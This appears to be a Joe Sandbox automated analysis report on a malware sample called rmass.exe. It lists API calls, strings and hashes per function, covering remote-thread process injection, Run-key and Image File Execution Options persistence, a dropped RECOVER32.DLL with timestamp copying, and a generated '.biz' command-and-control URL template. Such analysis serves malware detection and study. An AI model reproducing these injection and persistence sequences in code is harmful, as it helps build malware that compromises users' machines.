Opcode ID: 8f2bbf3385d3dd652e7dd71308d6a41b0ea41f06e07384eadc0887e3c2d0c5b1
Instruction ID: 7a41dd094c3ff64739ee37a0ce991556d765b1eacad6f410bfb2b8470c15c3ed
Opcode Fuzzy Hash: 8f2bbf3385d3dd652e7dd71308d6a41b0ea41f06e07384eadc0887e3c2d0c5b1
Instruction Fuzzy Hash: 10417470248745BAE730AB718C46F9F769CDF84745F50483FB289B51D2DA7C99008F6A

Function 004033B4 Relevance: 13.6, APIs: 9, Instructions: 95
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(?), ref: 004033C2
OpenProcess.KERNEL32(0000002A,00000000,?,?), ref: 004033DC
NtAllocateVirtualMemory.NTDLL(00000000,?,00000000,?,00001000,00000004,0000002A,00000000,?,?), ref: 00403428
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000001,?), ref: 00403439
CreateRemoteThread.KERNELBASE(00000000,00000000,00001000,0040D264,?,00000000,00000000), ref: 0040345A
CloseHandle.KERNEL32(00000000,0000002A,00000000,?,?), ref: 00403463
CloseHandle.KERNEL32(00000000,00000000,0000002A,00000000,?,?), ref: 0040346D
VirtualAlloc.KERNEL32(00000000,00000001,08001000,00000004,?,?), ref: 00403487
lstrcpy.KERNEL32(00000000,00000000), ref: 00403491

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: Virtual$CloseHandleMemory$AllocAllocateCreateOpenProcessRemoteThreadWritelstrcpylstrlen
String ID:
API String ID: 3696248362-0
Opcode ID: bf554029d3a59321d0b257d5bd308523470b6dff66540f0f977a14c089221267
Instruction ID: 286f24523f87d21ee6fdf0659b15e3162c9be1f6ec2acb51ddafdd64c094c1a7
Opcode Fuzzy Hash: bf554029d3a59321d0b257d5bd308523470b6dff66540f0f977a14c089221267
Instruction Fuzzy Hash: D031B131204300BFE3119FA5DD49F577BADEB88745F00853AF644BA1E1D7B9D9008BA9

Function 00402886 Relevance: 70.7, APIs: 31, Strings: 9, Instructions: 697
registrytimesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000), ref: 004028B5
RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8), ref: 004028EB
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000002), ref: 0040291A
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000,80000002), ref: 00402942
GetSystemTimeAsFileTime.KERNEL32(0040C160,?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000), ref: 0040295A
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000), ref: 0040298D
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000), ref: 004029A8
GetIpAddrTable.IPHLPAPI(00000000,00000012,00000000,00001388,?,Default Flags,00000000,00000003,0040C160,00000012,?,Default Flags,00000000,00000003,0040C160,00000012), ref: 004029E3
GetIpAddrTable.IPHLPAPI(?,00000012,00000000,?,?,?,?,?,?,?,?,?,?,?,004087B8,?), ref: 00402A07
wsprintfA.USER32 ref: 00402A42
lstrlen.KERNEL32(?,?,%u.%u.%u.%s,0040C0D4,00000000,000F003F,004087B8,?,00000000), ref: 00402A48

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

lstrcpy.KERNEL32(?,?), ref: 00402B7B
wsprintfA.USER32 ref: 00402BE8
wsprintfA.USER32 ref: 00402C19
ExitProcess.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,004087B8,?,00000000), ref: 00402C58
InternetReadFile.WININET(?,?,00000100,00000000), ref: 00402C78
GetSystemTimeAsFileTime.KERNEL32(0040C160,?,?,?,?,?,?,?,?,?,?,?,004087B8,?,00000000), ref: 00402D1E
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?,?), ref: 00402D3E
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?,?), ref: 00402D59
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004087B8,?,00000000), ref: 00403249

Part of subcall function 0040187B: select.WS2_32(00000000,?,00000000,00000000,?), ref: 004018F9
Part of subcall function 0040187B: recv.WS2_32(00000000,?,?,00000002), ref: 00401909
Part of subcall function 0040187B: recv.WS2_32(00000000,?,00000001,00000000), ref: 00401928

RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,Default Flags,00000000,00000003,0040C160,00000012,0040C160), ref: 00402E67
RegSetValueExA.ADVAPI32(?,g00d d0gg,00000000,00000004,?,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000,?), ref: 00402E96
RegCloseKey.ADVAPI32(?,?,g00d d0gg,00000000,00000004,?,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402EA1
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?,?), ref: 00402ED0
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?,?), ref: 00402EEB
Sleep.KERNEL32(00001388,?,Default Flags,00000000,00000003,0040C160,00000012,?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?), ref: 00402EF5
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,?,?,?,?), ref: 004032CA
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,0040C160,00000012,?,?,?,?), ref: 004032E5
Sleep.KERNEL32(-000927C0,?,Default Flags,00000000,00000000,0040C160,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,004087B8,?,00000000), ref: 004032FB

Part of subcall function 0040233A: lstrcpy.KERNEL32(?,?), ref: 00402377
Part of subcall function 0040233A: GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402E29,00000000,00000000,?,Default Flags,00000000,00000003), ref: 004023FF
Part of subcall function 0040233A: lstrcpy.KERNEL32(?,?), ref: 00402423
Part of subcall function 0040233A: lstrcat.KERNEL32(00000000,?), ref: 00402429
Part of subcall function 0040233A: lstrcat.KERNEL32(00000000,00000000), ref: 0040242F
Part of subcall function 0040233A: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040245E

Strings

g00d d0gg, xrefs: 00402E81
%u.%u.%u.%s, xrefs: 00402A3C
Default Flags, xrefs: 00402914, 00402937, 00402987, 0040299D, 00402D38, 00402D4E, 00402ECA, 00402EE0, 004032C4, 004032DA
, xrefs: 00402CC7
%02X, xrefs: 00402C10
http://%s.biz/d/N?, xrefs: 00402BDC
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00402E5D
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 004028AB, 004028E1
, xrefs: 00402EFF

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: Value$Time$File$Createwsprintf$Systemlstrcpy$AddrQuerySleepTablelstrcatrecv$CloseExitInternetPathProcessReadTemplstrlenselect
String ID: $ $%02X$%u.%u.%u.%s$Default Flags$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$g00d d0gg$http://%s.biz/d/N?
API String ID: 4185374676-436875747
Opcode ID: c11247c54af82f772cdebec03070c136421afb53366d792ef76d85dbc8a135a3
Instruction ID: f49b8789927b9b38f0437256646e9183e1074707ab25ab925b35c6137bae83b2
Opcode Fuzzy Hash: c11247c54af82f772cdebec03070c136421afb53366d792ef76d85dbc8a135a3
Instruction Fuzzy Hash: 7052B470A403199AEB30DF25CD89B9A77B5AB04704F2041FAE449BB2D1D7B89E85CF5C

Function 00404C98 Relevance: 68.5, APIs: 26, Strings: 13, Instructions: 235
stringfileregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegDeleteValueA.ADVAPI32(?,SubshellState), ref: 00404C9E
RegCloseKey.ADVAPI32(?,?,SubshellState), ref: 00404CAA
lstrcmpiA.KERNEL32(?,rmass.exe), ref: 00404CE5
lstrcmpiA.KERNEL32(?,?), ref: 00404CFE
SetFileAttributesA.KERNEL32(?,00000080,?,rmass.exe,?,?,SubshellState), ref: 00404D14
DeleteFileA.KERNEL32(?,?,00000080,?,rmass.exe,?,?,SubshellState), ref: 00404D1A
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,?,rmass.exe,?,?,SubshellState), ref: 00404D3B
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,?,rmass.exe,?,?,SubshellState), ref: 00404D53
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000004,00000000,00000000,?), ref: 00404D67
ReadFile.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000004,00000000,00000000,?,?), ref: 00404D8A
lstrcpy.KERNEL32(?,rmass.exe), ref: 00404E09
lstrcpy.KERNEL32(?,?), ref: 00404E1E
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404F7A
lstrcat.KERNEL32(?,0040B041), ref: 00404F8F
lstrcat.KERNEL32(00000000,?), ref: 00404F95
SetFileAttributesA.KERNEL32(00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,00000104,?,%AppData%\,?,00000104,?,?,?), ref: 00404F9B
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,00000104), ref: 00404FB3
WriteFile.KERNEL32(?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041), ref: 00404FE9
SetFileTime.KERNEL32(?,?,?,?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00405014
CloseHandle.KERNEL32(?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?), ref: 00405020

Strings

kernel32.dll, xrefs: 00405133
RECOVER32.DLL, xrefs: 00404F84
SubshellState, xrefs: 00404C98
Mr@, xrefs: 004051B2, 004051BD
jjh, xrefs: 00404FA9
winlogon.exe, xrefs: 00405035
[^j, xrefs: 0040513D
%CommonProgramFiles%\System\, xrefs: 00405185
P, xrefs: 00404F9A
explorer.exe, xrefs: 00405046
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 004051AD
rmass.exe, xrefs: 00404CD8, 00404DFC
%AppData%\, xrefs: 0040519C

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: File$Close$AttributesCreateDeleteHandlelstrcatlstrcmpilstrcpy$DirectoryReadSizeSystemTimeValueWrite
String ID: %AppData%\$%CommonProgramFiles%\System\$Mr@$P$RECOVER32.DLL$Software\Microsoft\Windows\CurrentVersion\Run$SubshellState$[^j$explorer.exe$jjh$kernel32.dll$rmass.exe$winlogon.exe
API String ID: 2526964800-1965242931
Opcode ID: fe51e19b926cdcb4651024c00f075df82002c745bf2f1755f6ffa7cfb773aed4
Instruction ID: d1c17959ff1c92021acbcec10b9cac18412f184dfa596b27e7fb2422b8dc4f5c
Opcode Fuzzy Hash: fe51e19b926cdcb4651024c00f075df82002c745bf2f1755f6ffa7cfb773aed4
Instruction Fuzzy Hash: DE719671648785A9E630AA218C86F9F76DCDF80708F50483FB6C5FA1C2DA7C94458B6F

Function 00404E5C Relevance: 57.9, APIs: 21, Strings: 12, Instructions: 180
filestringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempFileNameA.KERNEL32(?,tmp,00000000,?), ref: 00404E6C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 00404E88
GetTempPathA.KERNEL32(00000104,?,%AppData%\,?,00000104,?,?,?,rmass.exe,80000001,?), ref: 00404EA8
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104,?,?,tmp,00000000,?), ref: 00404EC5
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000104,?,?,tmp,00000000), ref: 00404EE5
WriteFile.KERNEL32(?,?,?,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 00404F0E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00404F1A
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,?,?,?,00000000,?,40000000,00000000), ref: 00404F36
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404F7A
lstrcat.KERNEL32(?,0040B041), ref: 00404F8F
lstrcat.KERNEL32(00000000,?), ref: 00404F95
SetFileAttributesA.KERNEL32(00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,00000104,?,%AppData%\,?,00000104,?,?,?), ref: 00404F9B
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,00000104), ref: 00404FB3
WriteFile.KERNEL32(?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041), ref: 00404FE9
SetFileTime.KERNEL32(?,?,?,?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00405014
CloseHandle.KERNEL32(?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?), ref: 00405020
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?), ref: 00405156
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405168
lstrcat.KERNEL32(?,0040B041), ref: 00405173
ExpandEnvironmentStringsA.KERNEL32(%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?,80000000,00000001,00000000,00000004,00000000,00000000,?,40000000), ref: 0040518A
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?,80000000,00000001,00000000,00000004,00000000), ref: 004051A1

Strings

winlogon.exe, xrefs: 00405035
kernel32.dll, xrefs: 00405133
RECOVER32.DLL, xrefs: 00404F84
[^j, xrefs: 0040513D
%CommonProgramFiles%\System\, xrefs: 00405185
tmp, xrefs: 00404E66, 00404EBF
P, xrefs: 00404F9A
Mr@, xrefs: 004051B2, 004051BD
explorer.exe, xrefs: 00405046
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 004051AD
jjh, xrefs: 00404FA9
%AppData%\, xrefs: 0040519C

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: File$Create$Templstrcat$CloseDirectoryEnvironmentExpandHandleNameStringsSystemWrite$AttributesPathTime
String ID: %AppData%\$%CommonProgramFiles%\System\$Mr@$P$RECOVER32.DLL$Software\Microsoft\Windows\CurrentVersion\Run$[^j$explorer.exe$jjh$kernel32.dll$tmp$winlogon.exe
API String ID: 2103219823-615051124
Opcode ID: c0f1323840aea672554249621ef4560810daa766541edf28942048093a77be06
Instruction ID: 02d19d8192111e30dc6b40cf49d4cf16fe24ec63b361ccc2ff52491a878139f0
Opcode Fuzzy Hash: c0f1323840aea672554249621ef4560810daa766541edf28942048093a77be06
Instruction Fuzzy Hash: 6851567168474179E630B6618C47F9B6698DF40708F60883FB7C8B90D2DABCA9458F6E

Function 004043CE Relevance: 52.7, APIs: 26, Strings: 4, Instructions: 171
stringfiletimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004043DE
GetFileTime.KERNEL32(00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040440A
CloseHandle.KERNEL32(?,00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404416
GetSystemDirectoryA.KERNEL32(?,000000FA), ref: 0040443B
lstrcat.KERNEL32(?,0040B041), ref: 0040444B
lstrcat.KERNEL32(00000000,?), ref: 00404451

Part of subcall function 004010F7: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
Part of subcall function 004010F7: SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
Part of subcall function 004010F7: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155

lstrcpy.KERNEL32(?,%CommonProgramFiles%\System\), ref: 00404482
lstrcat.KERNEL32(00000000,?), ref: 00404488
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,%CommonProgramFiles%\System\,rmass.exe,?,00000104,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001), ref: 0040448E
lstrcpy.KERNEL32(?,%AppData%\), ref: 004044B5
lstrcat.KERNEL32(00000000,?), ref: 004044BB
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,%AppData%\,rmass.exe,?,00000104,00000000,00000000,?,%CommonProgramFiles%\System\,rmass.exe,?,00000104,00000000,?), ref: 004044C1

Part of subcall function 004010F7: CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002), ref: 00401168
Part of subcall function 004010F7: CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000,?,40000000,00000000,00000000), ref: 0040116E

CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001), ref: 004044FD
SetFileTime.KERNEL32(00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe,?), ref: 00404522
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe), ref: 00404528
SetFileAttributesA.KERNEL32(?,00000021,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404537
CloseHandle.KERNEL32(?,?,00000021,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404540
GetStartupInfoA.KERNEL32(?), ref: 0040454D
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00404571
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,%ComSpec%,?,00000104), ref: 00404594
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002,00000000,00000000,?,00000104), ref: 004045AC
ReadFile.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000002), ref: 004045D2
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 004045DE
CreateThread.KERNEL32(00000000,00001000,00401038,?,00000000,?), ref: 0040460D
CloseHandle.KERNEL32(00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,%ComSpec%,?,00000104), ref: 00404613

Strings

%CommonProgramFiles%\System\, xrefs: 00404475
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe, xrefs: 00404618
rmass.exe, xrefs: 00404440, 00404470, 004044AA
%AppData%\, xrefs: 004044AF

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: File$CloseCreateHandle$lstrcat$AttributesEnvironmentExpandProcessStringsTimelstrcpy$DirectoryExitInfoReadSizeStartupSystemThread
String ID: %AppData%\$%CommonProgramFiles%\System\$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe$rmass.exe
API String ID: 2485267943-2238819140
Opcode ID: db0c88f6879e33486de43a99bb74a0089e06cb192c2a43396501ecdf9646fd79
Instruction ID: c1e49d937d8c5efd7fd0b864e7910445273e4a438fe921e26ff5a38db31511d0
Opcode Fuzzy Hash: db0c88f6879e33486de43a99bb74a0089e06cb192c2a43396501ecdf9646fd79
Instruction Fuzzy Hash: BB5155B16447407AE630A6718C4AFDF729C9F84708F90883FB384B61D2EBBC95454B6E

Function 004050C7 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 110
filestringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32(?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041), ref: 00404FE9
SetFileTime.KERNEL32(?,?,?,?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00405014
CloseHandle.KERNEL32(?,?,00408860,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?), ref: 00405020
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0040B041,RECOVER32.DLL,00000080,?,00000104,00000104), ref: 00405058
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,%AppData%\,?,00000104,?,40000000), ref: 004050CE
GetTempPathA.KERNEL32(00000104), ref: 004050DE
lstrcat.KERNEL32(?,RECOVER32.DLL), ref: 004050EE
SetFileAttributesA.KERNEL32(00000000,?,RECOVER32.DLL,00000080,00000104), ref: 004050F4
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,00000104), ref: 0040510C
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,RECOVER32.DLL,00000080,00000104), ref: 00405123
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?), ref: 00405156
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405168
lstrcat.KERNEL32(?,0040B041), ref: 00405173
ExpandEnvironmentStringsA.KERNEL32(%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?,80000000,00000001,00000000,00000004,00000000,00000000,?,40000000), ref: 0040518A
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0040B041,?,00000104,?,80000000,00000001,00000000,00000004,00000000), ref: 004051A1

Strings

winlogon.exe, xrefs: 00405035
kernel32.dll, xrefs: 00405133
RECOVER32.DLL, xrefs: 004050E8
[^j, xrefs: 0040513D
%CommonProgramFiles%\System\, xrefs: 00405185
Mr@, xrefs: 004051B2, 004051BD
explorer.exe, xrefs: 00405046
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 004051AD
%AppData%\, xrefs: 0040519C

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: File$ErrorLast$CreateEnvironmentExpandStringslstrcat$AttributesCloseDirectoryHandlePathSystemTempTimeWrite
String ID: %AppData%\$%CommonProgramFiles%\System\$Mr@$RECOVER32.DLL$Software\Microsoft\Windows\CurrentVersion\Run$[^j$explorer.exe$kernel32.dll$winlogon.exe
API String ID: 1323179228-3237391022
Opcode ID: 7b22a9f31fe2ab93aaeecb86e42b651ff765cbb807053d5a4cea33da0f4aa99f
Instruction ID: c9c33392d78905eec448985cc6c97c7ece3a395f19954e69de06a5f7f85c3288
Opcode Fuzzy Hash: 7b22a9f31fe2ab93aaeecb86e42b651ff765cbb807053d5a4cea33da0f4aa99f
Instruction Fuzzy Hash: E23180B1254B45B9E63076618C8AF9F225CDF40718F60883FB285B81C2CABC99458A6F

Function 00401C3E Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 203
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 00401C6A
lstrlen.KERNEL32(00000000,?,?), ref: 00401C70
htons.WS2_32(00000050), ref: 00401CD1
inet_addr.WS2_32(?), ref: 00401CEC
gethostbyname.WS2_32(?), ref: 00401CFB
socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
closesocket.WS2_32(00000000), ref: 00401D4F
